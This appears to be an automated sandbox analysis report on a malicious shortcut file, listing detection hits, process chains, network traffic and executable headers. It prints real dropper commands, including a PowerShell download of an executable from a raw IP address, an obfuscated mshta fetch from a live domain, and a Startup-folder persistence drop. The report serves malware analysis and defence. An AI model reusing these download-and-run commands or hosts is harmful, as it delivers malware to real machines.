"C:\Users\user\AppData\Local\WordGenius Technologies\G", ProcessId: 4720, ProcessName: SwiftWrite.pif

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4308, TargetFilename: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7724, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7812, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7724, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7812, ProcessName: powershell.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 4424, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: . \*i*\*2\msh*e https://tiffany-careers.com/ghep2, CommandLine: . \*i*\*2\msh*e https://tiffany-careers.com/ghep2, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m cmmon32.exe /c "powershell . \*i*\*2\msh*e https://tiffany-careers.com/ghep2, ParentImage: C:\Windows\System32\forfiles.exe, ParentProcessId: 5524, ParentProcessName: forfiles.exe, ProcessCommandLine: . \*i*\*2\msh*e https://tiffany-careers.com/ghep2, ProcessId: 984, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5300, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 7496, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:13:05.458082+0100	2803305	3	Unknown Traffic	192.168.2.5	49707	147.45.49.155	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\ghep2[1]	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: duyba.lnk.download.lnk	Virustotal: Detection: 20%			Perma Link
Source: duyba.lnk.download.lnk	ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.8% probability

Source: unknown

HTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.5:49704 version: TLS 1.2

Source:	Binary string: dvdplay.pdbGCTL source: mshta.exe, 00000004.00000003.2270225640.000001D8EE742000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2270225640.000001D8EE756000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269552395.000001D8EE77E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2281480259.000001D8F2724000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2268763504.000001D8EE775000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269402859.000001D8EE763000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269906987.000001D8F2731000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2271483893.000001D8EE756000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2270056448.000001D8EE76A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2277177873.000001D8F2721000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2280822303.000001D8EE756000.00000004.00000020.00020000.00000000.sdmp, ghep2[1].4.dr
Source:	Binary string: dvdplay.pdb source: mshta.exe, 00000004.00000003.2270225640.000001D8EE756000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269552395.000001D8EE77E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2268763504.000001D8EE775000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269402859.000001D8EE763000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2271483893.000001D8EE756000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2270056448.000001D8EE76A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2280822303.000001D8EE756000.00000004.00000020.00020000.00000000.sdmp, ghep2[1].4.dr

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ECC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	11_2_00007FF7C0ECC7C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EDA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	11_2_00007FF7C0EDA350
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EDA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	11_2_00007FF7C0EDA4F8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ED6428 FindFirstFileW,FindNextFileW,FindClose,	11_2_00007FF7C0ED6428
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EDA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	11_2_00007FF7C0EDA874
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E92F50 FindFirstFileExW,	11_2_00007FF7C0E92F50
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ED71F4 FindFirstFileW,FindClose,	11_2_00007FF7C0ED71F4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ED72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	11_2_00007FF7C0ED72A8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ECB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00007FF7C0ECB7C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ECBC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00007FF7C0ECBC70
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00714005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	20_2_00714005
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071494A GetFileAttributesW,FindFirstFileW,FindClose,	20_2_0071494A
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	20_2_0071C2FF
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071CD14 FindFirstFileW,FindClose,	20_2_0071CD14
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	20_2_0071CD9F
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	20_2_0071F5D8
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	20_2_0071F735
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	20_2_0071FA36
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00713CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	20_2_00713CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002F4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	24_2_002F4005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002F494A GetFileAttributesW,FindFirstFileW,FindClose,	24_2_002F494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002FC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	24_2_002FC2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002FCD14 FindFirstFileW,FindClose,	24_2_002FCD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002FCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	24_2_002FCD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002FF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	24_2_002FF5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002FF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	24_2_002FF735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002FFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	24_2_002FFA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002F3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	24_2_002F3CE2

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKetag: "108a00-675eb102-2534d;;;"last-modified: Sun, 15 Dec 2024 10:35:46 GMTcontent-type: application/x-executablecontent-length: 1083904accept-ranges: bytesdate: Wed, 18 Dec 2024 08:13:05 GMTserver: LiteSpeedconnection: Keep-AliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6f 31 29 eb 2b 50 47 b8 2b 50 47 b8 2b 50 47 b8 9f cc b6 b8 3e 50 47 b8 9f cc b4 b8 b7 50 47 b8 9f cc b5 b8 0a 50 47 b8 b5 f0 80 b8 2a 50 47 b8 79 38 42 b9 05 50 47 b8 79 38 43 b9 3a 50 47 b8 79 38 44 b9 23 50 47 b8 22 28 c4 b8 23 50 47 b8 22 28 c0 b8 2a 50 47 b8 22 28 d4 b8 0e 50 47 b8 2b 50 46 b8 06 52 47 b8 8e 39 49 b9 7b 50 47 b8 8e 39 44 b9 2a 50 47 b8 8e 39 b8 b8 2a 50 47 b8 2b 50 d0 b8 2a 50 47 b8 8e 39 45 b9 2a 50 47 b8 52 69 63 68 2b 50 47 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 e4 af 5e 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 10 00 34 0b 00 00 52 05 00 00 00 00 00 9c 54 02 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 10 11 00 00 04 00 00 71 52 11 00 02 00 60 81 00 00 40 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 5c 0e 00 7c 01 00 00 00 b0 0f 00 f8 40 01 00 00 40 0f 00 48 6f 00 00 00 00 00 00 00 00 00 00 00 00 11 00 74 0a 00 00 50 70 0c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 9a 0d 00 28 00 00 00 70 70 0c 00 00 01 00 00 00 00 00 00 00 00 00 00 00 50 0b 00 38 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 28 33 0b 00 00 10 00 00 00 34 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 04 42 03 00 00 50 0b 00 00 44 03 00 00 38 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 20 91 00 00 00 a0 0e 00 00 50 00 00 00 7c 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 48 6f 00 00 00 40 0f 00 00 70 00 00 00 cc 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 40 01 00 00 b0 0f 00 00 42 01 00 00 3c 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 74 0a 00 00 00 00 11 00 00 0c 00 00 00 7e 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 08:13:12 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Sun, 15 Dec 2024 10:29:42 GMTETag: "da2a8-6294c8abc9816"Accept-Ranges: bytesContent-Length: 893608Keep-Alive: timeout=5, max=100Connection: Keep-AliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 5f 70 5a 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 e8 08 00 00 d8 04 00 00 00 00 00 fa 7f 02 00 00 10 00 00 00 00 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 0d 00 00 04 00 00 15 cd 0d 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cc d0 0b 00 7c 01 00 00 00 90 0c 00 50 d7 00 00 00 00 00 00 00 00 00 00 00 86 0d 00 a8 1c 00 00 00 70 0d 00 ac 71 00 00 90 3b 09 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 5b 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 09 00 84 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b1 e7 08 00 00 10 00 00 00 e8 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8e fd 02 00 00 00 09 00 00 fe 02 00 00 ec 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 8f 00 00 00 00 0c 00 00 52 00 00 00 ea 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 d7 00 00 00 90 0c 00 00 d8 00 00 00 3c 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 71 00 00 00 70 0d 00 00 72 00 00 00 14 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /Marketing.pdf HTTP/1.1Host: tiffany-careers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /PefjSkkhb.exe HTTP/1.1Host: tiffany-careers.com
Source: global traffic	HTTP traffic detected: GET /QWCheljD.txt HTTP/1.1Host: 139.99.188.124Connection: Keep-Alive

Source: Joe Sandbox View	ASN Name: OVHFR OVHFR
Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49707 -> 147.45.49.155:80

Source: global traffic	HTTP traffic detected: GET /ghep2 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tiffany-careers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kiiMf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 139.99.188.124Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0EDE87C InternetReadFile,

11_2_00007FF7C0EDE87C

Source: global traffic	HTTP traffic detected: GET /ghep2 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tiffany-careers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Marketing.pdf HTTP/1.1Host: tiffany-careers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /PefjSkkhb.exe HTTP/1.1Host: tiffany-careers.com
Source: global traffic	HTTP traffic detected: GET /kiiMf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 139.99.188.124Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /QWCheljD.txt HTTP/1.1Host: 139.99.188.124Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: tiffany-careers.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs

Source: powershell.exe, 00000012.00000002.2304075109.00000130E1558000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E24AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.188.124
